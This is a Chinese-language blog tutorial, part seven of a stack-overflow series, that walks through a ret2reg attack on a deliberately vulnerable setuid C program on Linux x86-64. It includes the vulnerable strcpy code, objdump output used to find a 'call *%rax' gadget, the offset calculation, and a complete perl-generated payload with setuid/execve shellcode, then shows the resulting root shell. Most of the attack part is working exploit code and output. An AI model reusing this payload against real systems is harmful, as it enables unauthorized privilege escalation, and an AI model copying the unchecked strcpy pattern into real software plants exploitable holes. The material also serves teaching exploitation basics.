栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(七)利用寄存器攻击
栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(七)利用寄存器攻击
·
在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0
cat /proc/sys/kernel/randomize_va_space
那么在系列中的六失去攻击的意义,但是任何事情都会有漏洞,我们来讲另一个基于寄存器的攻击
漏洞代码
vulnerableret2reg.c
#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
char buffer[1000];
strcpy(buffer, input);
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}
我们先看一下函数strcpy
char *strcpy(char *dest, const char *src);
那么意味着返回的数组的地址dest数组的地址在寄存器rax里,而strcpy返回的地址就是在函数evilfunction的buffer的地址,也就是说rax寄存器里的地址就是evilfunction里的buffer的起始位置,而非常幸运的是在evilfunction函数中在strcpy后面并没有对rax寄存器做任何操作,而本身函数evilfunction也没有返回值(rax是返回值寄存器)。
evilfunction 函数的汇编
00000000004004c4 <evilfunction>:
4004c4: 55 push %rbp
4004c5: 48 89 e5 mov %rsp,%rbp
4004c8: 48 81 ec 00 04 00 00 sub $0x400,%rsp
4004cf: 48 89 bd 08 fc ff ff mov %rdi,-0x3f8(%rbp)
4004d6: 48 8b 95 08 fc ff ff mov -0x3f8(%rbp),%rdx
4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax
4004e4: 48 89 d6 mov %rdx,%rsi
4004e7: 48 89 c7 mov %rax,%rdi
4004ea: e8 d9 fe ff ff callq 4003c8 <strcpy@plt>
4004ef: c9 leaveq
4004f0: c3 retq
rax寄存器就成了我们的攻击方向
1. 我们要找到一个call %rax的指令地址,编译vulnerableret2reg.c 成可执行文件
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
objdump -d vulnerableret2reg |grep rax > rax.txt
cat rax.txt
4003b4: 0f 1f 40 00 nopl 0x0(%rax)
4003ed: 50 push %rax
400410: 48 8b 05 89 04 20 00 mov 0x200489(%rip),%rax # 6008a0 <_dynamic 0x190="">
400417: 48 85 c0 test %rax,%rax
40041c: ff d0 callq *%rax
400447: 48 8b 05 92 04 20 00 mov 0x200492(%rip),%rax # 6008e0 <dtor_idx 6351="">
40045d: 48 39 d8 cmp %rbx,%rax
400462: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
400468: 48 83 c0 01 add $0x1,%rax
40046c: 48 89 05 6d 04 20 00 mov %rax,0x20046d(%rip) # 6008e0 <dtor_idx 6351="">
400473: ff 14 c5 f8 06 60 00 callq *0x6006f8(,%rax,8)
40047a: 48 8b 05 5f 04 20 00 mov 0x20045f(%rip),%rax # 6008e0 <dtor_idx 6351="">
400481: 48 39 d8 cmp %rbx,%rax
400494: 66 66 66 2e 0f 1f 84 data32 data32 nopw %cs:0x0(%rax,%rax,1)
4004b3: 48 85 c0 test %rax,%rax
4004be: ff e0 jmpq *%rax
4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax
4004e7: 48 89 c7 mov %rax,%rdi
400500: 48 8b 45 f0 mov -0x10(%rbp),%rax
400504: 48 83 c0 08 add $0x8,%rax
400508: 48 8b 00 mov (%rax),%rax
40050b: 48 89 c7 mov %rax,%rdi
400522: 66 66 66 66 66 2e 0f data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1)
40057c: 0f 1f 40 00 nopl 0x0(%rax)
4005c9: 48 8b 05 18 01 20 00 mov 0x200118(%rip),%rax # 6006e8 <__ctor_list__>
4005d0: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
4005db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4005e4: ff d0 callq *%rax
4005e6: 48 8b 03 mov (%rbx),%rax
4005e9: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
很幸运的是我们看到了callq *%rax
40041c:ff d0 callq *%rax
指令地址是40041c
2. 计算覆盖到返回地址的空间
lea -0x3f0(%rbp),%rax
也就是buffer的起始地址是相对于rbp -0x3f0 =十进制1008在加上8就是函数返回地址了
3. 填充我们的数组
`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
16+43+957=1016 在填充指令地址40041c
4. 执行我们的shellcode
当函数退出的时候,rip的地址指向了40041c, 而执行机器指令 callq *%rax, 此时rax里的值是buffer数组的起始地址,那么将开始执行buffer数组里的内容。我们只要将buffer数组填入我们所想要执行的shellcode,那么这次攻击完美产生。
演绎攻击
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
chmod u+s vulnerableret2reg
su test
./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
sh4.1#whoami
root
一切如设计的一样,你成为了root.
栈攻击并不简单
1. 你需要buffer数组足够长,能够填满你的shellcode。
2. 你需要程序后面没有对寄存器进行操作。
3. 你需要你的程序里本身有对寄存器的操作,并能得到代码所在的地址。
4. 当然你还需要在编译的时候指定可以在栈中执行的代码。
5. 为了变成root 你需要程序有s的权限。
更多推荐
已为社区贡献8条内容
所有评论(0)